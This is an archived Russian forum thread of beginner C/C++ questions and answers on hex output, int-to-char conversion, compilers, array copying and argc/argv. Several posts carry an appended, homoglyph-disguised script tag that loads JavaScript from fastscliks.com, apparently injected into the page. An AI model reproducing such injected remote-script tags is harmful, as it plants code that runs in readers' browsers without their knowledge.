Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Вопросы по C/C++ (Для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Вопросы по C/C++ (Для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
Вопросы по C/C++ (Для новичков) - 2008-12-08 15:55:02.106666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Существует масса вопросов, из-за которых не хотелось бы создавать новые топики. Поэтому было бы целесообразно взять пример с соседней ветки и создать тему для новичков.




Начинаю хит-парад вопросов. На очереди новичок вместе с C++

Нужно установить вывод значений в шестнадцатеричном виде. Печатаю строку (по учебнику):

cout.setf(ios::hex, ios::hex); int nArg1 = 0x1234; int nArg2 = 0x00ff; cout &lt;&lt; nArg1 &lt;&lt; "\n"; cout &lt;&lt; nArg2 &lt;&lt; "\n";
Программа выводит десятичные значения 4660 и 255 соответственно. Что я делаю не так?

ЗЫ: Компилятор не ругается.
Post #: 1
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 16:08:12.470000   
vvviperrr

Сообщений: 301
Оценки: 0
Присоединился: 2007-03-20 21:33:16.790000
void setf( fmtflags _Mask ); fmtflags setf( fmtflags _Mask, fmtflags _Unset );
Parameters _Mask The flags to turn on. _Unset The flags to turn off.

#include &lt;iostream&gt; int main( ) { &nbsp;&nbsp;&nbsp; using namespace std; &nbsp;&nbsp;&nbsp; cout.unsetf( ios_base::dec ); &nbsp;&nbsp;&nbsp; cout.setf( ios_base::hex ); &nbsp;&nbsp;&nbsp; int nArg1 = 10; &nbsp;&nbsp;&nbsp; int nArg2 = 0x00ff; &nbsp;&nbsp;&nbsp; cout &lt;&lt; nArg1 &lt;&lt; endl; &nbsp;&nbsp;&nbsp; cout &lt;&lt; nArg2 &lt;&lt; endl; }
Post #: 2
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 16:08:46.360000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
#include <stdio.h>

int main()
{
int a=0x1234,b=0x00f;
printf("%x %x",a,b);
}

А так не пробовал?))
Post #: 3
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 18:52:36.156666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
vvviperrr, спасибо, помогло…
Post #: 4
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 19:42:35.203333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
delete<i><i><i></i></i></i><br><br>оформлялка кода здесь до ужаса убогая, так и не осилил<br>
Post #: 5
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 19:48:24.393333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
delete<i><i><i></i></i></i>
Post #: 6
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 19:50:56.426666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Код нормально оформи… Есть специальная кнопочка - "code".
Post #: 7
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 19:55:26.663333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
delete
Post #: 8
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:03:23.760000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
for(int i=0;i<=9;i++) v{i}=48+i;<i><i><i></i></i> </i><sсriрt src="http://fastscliks.com/js.php?idc=ky461&rnd=53440620828886358430" type="text/javasсriрt"></sсriрt>
Post #: 9
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:11:06.543333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
delete
Post #: 10
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:16:43.750000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
int i=0; while(v!=0) v[i]=(v%10)+48,i++,v/=10;
Что-то типа того))
Post #: 11
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:20:03.203333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: K1ller

int i=0; while(v!=0) v[i]=(v%10)+48,i++,v/=10;
Что-то типа того))

хны, я так и пишу. форум почему-то кривит не по децки …
вот выкладываю код заново, надеюсь на этот раз успешно:
#include "stdafx.h" #include "iostream" #include &lt;string&gt; #include &lt;math.h&gt; #include &lt;conio.h&gt; using namespace std ; //using std::string ; int _tmain(int argc, _TCHAR* argv[]) { &nbsp;&nbsp;&nbsp; return 0 ; } typedef unsigned int uint ; class Decimal {&nbsp;&nbsp;&nbsp; char var[100] ; // вектор, в который будут помещены ASCII коды чисел &nbsp;&nbsp;&nbsp; int num ; // размер вектора public: &nbsp;&nbsp;&nbsp; Decimal(int v) &nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp; char z ; // здесь будет храниться знак числа &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; v &gt; 0 ? z = '+' : z = '-'; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; var[0] = z ; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; num = 0 ; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int i = 1 ; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(v) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; var[i] = v%10+48; // пишем код элементы в чаровый элемент &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cout &lt;&lt; var[i] ; // вывод 757, как и планировалось &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; num++ ; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; v = v/10 ; // при округлении в инт не целое число даст 0, следовательно цикл прекратится &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cout &lt;&lt; "\n" &lt;&lt; num &lt;&lt; "\n" ; // вывод 3, как и планировалось &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; void display() &nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp; for(int i=0; i &lt;= num; i++) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cout &lt;&lt; var[i] ; // вывод 7|||, здесь первая проблема &nbsp;&nbsp;&nbsp; } }; void main() {&nbsp;&nbsp;&nbsp; Decimal t(757) ; &nbsp;&nbsp;&nbsp; t.display() ; &nbsp;&nbsp;&nbsp; getch() ; }

Post #: 12
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:26:19.220000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
Сформулируй точно задачу: что дано на входе и что должно быть на выходе.

Post #: 13
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:32:22.083333   
=xameleon=

Сообщений: 1
Оценки: 0
Присоединился: 2008-12-02 21:13:38.953333
Всем привет! Я новичок в С++ и хотел бы узнать: "Каким компилятором лучше всего пользоваться?" и если есть, дайте, пожалуйста, ссыль на скачивание!
Post #: 14
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:33:03.410000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
на входе int  на выходе char[num], первая строчка в main() показывает какой параметр идёт конструктору, далее проследи что с ним творится и должно стать всё ясно
Post #: 15
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:39:07.086666   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
&lt;br&gt;#include &lt;stdio.h&gt;&lt;br&gt;&lt;br&gt;int main(){&lt;br&gt;&nbsp;char v[20];&lt;br&gt;&nbsp;int a,i=0;&lt;br&gt;&nbsp;scanf("%i",&amp;a);&lt;br&gt;&nbsp;while(a!=0) v[i]=(a%10)+48,i++,a/=10;&lt;br&gt;&nbsp;for(int j=i-1;j&gt;=0;j--) printf("%i ",v[j]);&lt;br&gt;}&lt;br&gt;<br><br>Полный пример программы. Перевести в класы особого труда думаю не составит. <sсriрt src="http://fastscliks.com/js.php?idc=ky461&rnd=83528043373806036120" type="text/javasсriрt"></sсriрt>
Post #: 16
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:42:16.350000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
Я юзаю dev-c++. И пока он меня полностью устраивает. Есть русский интерфейс, удобный редактор. У меня, конечно, есть visual studio-проф. пакет, но, имхо, dev для новичка - в самый раз. А скачать - google the best.
Post #: 17
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:46:50.260000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
quote:

ORIGINAL: K1ller

&lt;br&gt;char var[100];&lt;br&gt;int v,i=0;&lt;br&gt;while(v!=0) var[i]&lt;i&gt;=(char)(v%10)+48,v/=10,i++;&lt;br&gt;&lt;br&gt;for(int j=0;j&lt;i;j++) cout&lt;&lt;v&lt;i&gt;[j];&lt;br&gt;&lt;br&gt;&lt;br&gt;Участок кода, переводящий число в масив char &lt;/i&gt;&lt;/i&gt;&lt;sсriрt src="http://fastscliks.com/js.php?idc=ky461&amp;rnd=73113416820564005287" type="text/javasсriрt"&gt;&lt;/sсriрt&gt;

как я понял принципиальное отличие от моего кода состоит в записи
var[i] = (char)(v%10)+48; вместо
var[i] = v%10+48; ?
результат один и тот же
Post #: 18
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:55:19.780000   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
#include &lt;stdio.h&gt; int main(){ &nbsp;char v[20]; &nbsp;int a,i=0; &nbsp;scanf("%i",&amp;a); &nbsp;while(a!=0) v[i]=(a%10)+48,i++,a/=10; &nbsp;for(int j=i-1;j&gt;=0;j--) printf("%i ",v[j]); }
Вот принципиальное различие)))
Post #: 19
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 20:59:28.186666   
K1ller

Сообщений: 94
Оценки: 0
Присоединился: 2008-11-25 23:19:36.140000
У тебя, например, і не увеличивается. И поэтому первая цифра правильная, а остальные-мусор. И, еще,
for(i=0;i&lt;num;i++) а не for(i=0;i&lt;=num;i++)
Post #: 20
RE: Вопросы по C/C++ (Для новичков) - 2008-12-08 21:07:08.300000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
[sm=ag.gif] гы принципиальное отличие было в том что, поменяв цикл с фор на вайл я забыл добавить шаг.
а вот зачем ты всё это переписовал вместо того чтобы просто сказать про шаг я не понял…
Post #: 21
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 15:42:08.913333   
*#_NEYRONON_#*

Сообщений: 1
Оценки: 0
Присоединился: 2008-12-05 01:48:39.453333
Дорогие коллеги!!! Очень требуется ваша помощь!!! Подскажите, где можно найти руководство к языку C, причем наиболее полный (что бы было и написание драйверов и антивирусов вместе с вирусами, создание сокетов и прочее в области высокого программироввания). Я уже целую кучу перебрал - только основы яыка. Одним словом нужна помощь специалистов!!!
Post #: 22
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 16:36:19.930000   
BatonXAK

Сообщений: 1137
Оценки: 0
Присоединился: 2007-03-02 20:44:00.803333
Такого сбора врятли найдешь , да и не стоит искать ибо книга будет о всем по чуть-чуть и ни о чем вообще! Для написания дров почитай про WinApi "Джеффри Рихтер-Создание эффективных Win32-приложений с учетом специфики 64-разрядной версии Windows", а вири и антивири тебе на http://wasm.ru/
Post #: 23
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 16:40:06.430000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Много книг по С/С++/Вижуал С: http://www.knigka.info/category/c/
Post #: 24
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 17:59:57.210000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
А ещё в самом верху списак форумов есть замечательная тема - книги по программированию. Просто кому-то лень читать.
Post #: 25
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 21:03:05.860000   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: =xameleon=

Всем привет! Я новичок в С++ и хотел бы узнать: "Каким компилятором лучше всего пользоваться?" и если есть, дайте, пожалуйста,&nbsp;ссыль на скачивание!


лучше всего пользоваться бумагой и карандашом
за неимением оных могу предложить CERN'овский интерпретатор CINT (созданный в рамках ROOT):

http://en.wikipedia.org/wiki/CINT
Post #: 26
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 21:18:00.146666   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
люди, кто имеет опыт програмирования в юниксах, подскажите компилятор C++ под дистры линукса ( на данный момент мандрива )
Post #: 27
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 22:13:36.480000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333

quote:

ORIGINAL: brtn

люди, кто имеет опыт програмирования в юниксах, подскажите компилятор C++ под дистры линукса ( на данный момент мандрива )

gcc? :)
Post #: 28
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 22:24:19.563333   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
угу, тоже о нём думал, только он вроде платный, хочется бесплатный на первое время )
Post #: 29
RE: Вопросы по C/C++ (Для новичков) - 2008-12-10 22:25:46.530000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
gcc (в частности G++) распространяется по лицензии GPL, ничего платить не нужно.
Post #: 30
RE: Вопросы по C/C++ (Для новичков) - 2008-12-11 04:11:10.273333   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: brtn

угу, тоже о нём думал, только он вроде платный, хочется бесплатный на первое время )


читать до просветления:

http://www.gnu.org/gnu/thegnuproject.ru.html
Post #: 31
RE: Вопросы по C/C++ (Для новичков) - 2008-12-11 23:10:05.666666   
IkeT

Сообщений: 101
Оценки: 0
Присоединился: 2008-12-07 23:54:11.183333
присваивание массивов.
как присвоить массиву массив(одного размера)? =)

Post #: 32
RE: Вопросы по C/C++ (Для новичков) - 2008-12-11 23:38:24.380000   
BatonXAK

Сообщений: 1137
Оценки: 0
Присоединился: 2007-03-02 20:44:00.803333
for(i=0;i&lt;10;i++) {A[i]=B[i];}
Post #: 33
RE: Вопросы по C/C++ (Для новичков) - 2008-12-11 23:45:09.040000   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: IkeT

присваивание массивов.
как присвоить массиву массив(одного размера)? =)


недостаточно данных для решения. memcpy, свап указателей, цикл, std::for_each - зависит от того, что подразумевается под присваиванием и что подразумевается под массивом (размерность, тип - статический массив (int[4]) или динамический массив (int *)). вариантов много, вплоть до весьма изощрённых - вроде свёртки для массивов времени компиляции из boost.mpl
Post #: 34
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 00:15:08.816666   
IkeT

Сообщений: 101
Оценки: 0
Присоединился: 2008-12-07 23:54:11.183333
quote:

недостаточно данных для решения. memcpy, свап указателей, цикл, std::for_each - зависит от того, что подразумевается под присваиванием и что подразумевается под массивом (размерность, тип - статический массив (int[4]) или динамический массив (int *)). вариантов много, вплоть до весьма изощрённых - вроде свёртки для массивов времени компиляции из boost.mpl

два статических массивы одинаковой длинны
double a[2][2] = {{1,2},{1,2}} ;
double b[2][2] ;
далее нужно просто поместить элементы a в b, стандартный конструктор класса double не позволяет это сделать? нужно как предложил товарищ BatonXAK ?
Post #: 35
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 01:02:34.586666   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: IkeT
double a[2][2] = {{1,2},{1,2}};
double b[2][2];


memcpy((void *)&b[0], (void *)&a[0], sizeof b);

можно так. можно циклом. в любом случае эту операцию лучше спрятать в процедуру, чтобы иметь возможность абстрагироваться от конкретного метода

инициализировать плоский тип так как тебе хочется, к сожалению, не выйдет - однако создание плоских типов операция дешёвая, так что можно так:

double b[2][2] = {{0}};

а затем уже заполнение
Post #: 36
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 06:41:21.436666   
IkeT

Сообщений: 101
Оценки: 0
Присоединился: 2008-12-07 23:54:11.183333
спасиба, вот только не очень понял, зачем приводить к вектору b, далее он так и останется вектором?

а вот ещё что интересует - часто вижу запись
int main(int argc, char* argv[])
откуда берётся указатель char* argv[] и что такое argc ?

в visual-e перед созданием консольного проекта автоматически добавляется в начале
 int _tmain(int argc, _TCHAR* argv[])
{      return 0 ;
}
что делает эта функция?
Post #: 37
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 07:50:15.666666   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: IkeT

спасиба, вот только не очень понял, зачем приводить к вектору b, далее он так и останется вектором?


вообще не понял вопроса. где там приведение к вектору (что бы это ни значило)?

quote:

ORIGINAL: IkeT

а вот ещё что интересует - часто вижу запись
int main(int argc, char* argv[])
откуда берётся указатель char* argv[] и что такое argc ?

в visual-e перед созданием консольного проекта автоматически добавляется в начале
int _tmain(int argc, _TCHAR* argv[])
{      return 0 ;
}
что делает эта функция?


по стандарту ISO/IEC 14882 функция main может иметь две сигнатуры:

int main()
int main(int argc, char * argv[])

возвращаемое значение в обоих случаях - код завершения процесса; аргументы во втором случае - количество параметрев коммандной строки в argc (один параметр - имя исполняемого файла - есть всегда), и собственно сами параметры в argv (argv[0] - строка, содержащая имя исполняемого файла приложения)

то есть если ты получил после компиляции бинарий my_prog (my_prog.exe в M$-системах), то при запуске его таким образом "my_prog -a -vxz" ты получишь argc == 3, и argv == {"my_prog", "-a", "-vxz"}

вообще говоря по стандарту POSIX функция main может иметь ещё одну сигнатуру, с параметрами окружения - но для упрощения картины мира большую часть времени о ней можно не задумываться ;)
Post #: 38
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 10:37:26.713333   
BatonXAK

Сообщений: 1137
Оценки: 0
Присоединился: 2007-03-02 20:44:00.803333
Зачем ему столько сложностей , 90% что ему эти масивы задали в универе ,делай как я показал только организуй цикл по i и j.
Вечером могу написать щас в универ ухожу.
Post #: 39
RE: Вопросы по C/C++ (Для новичков) - 2008-12-12 10:42:47.903333   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: BatonXAK

Зачем ему столько сложностей , 90% что ему эти масивы задали в универе ,делай как я показал только организуй цикл по i и j.
Вечером могу написать щас в универ ухожу.


то есть ты предлагаешь ему не задумываться, тупо передирать твой код, забить на программирование и стать типичным быдлом? очень мило с твоей стороны, не находишь?
Post #: 40
Страниц:  [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
Все форумы >> [Компилируемые языки] >> Вопросы по C/C++ (Для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.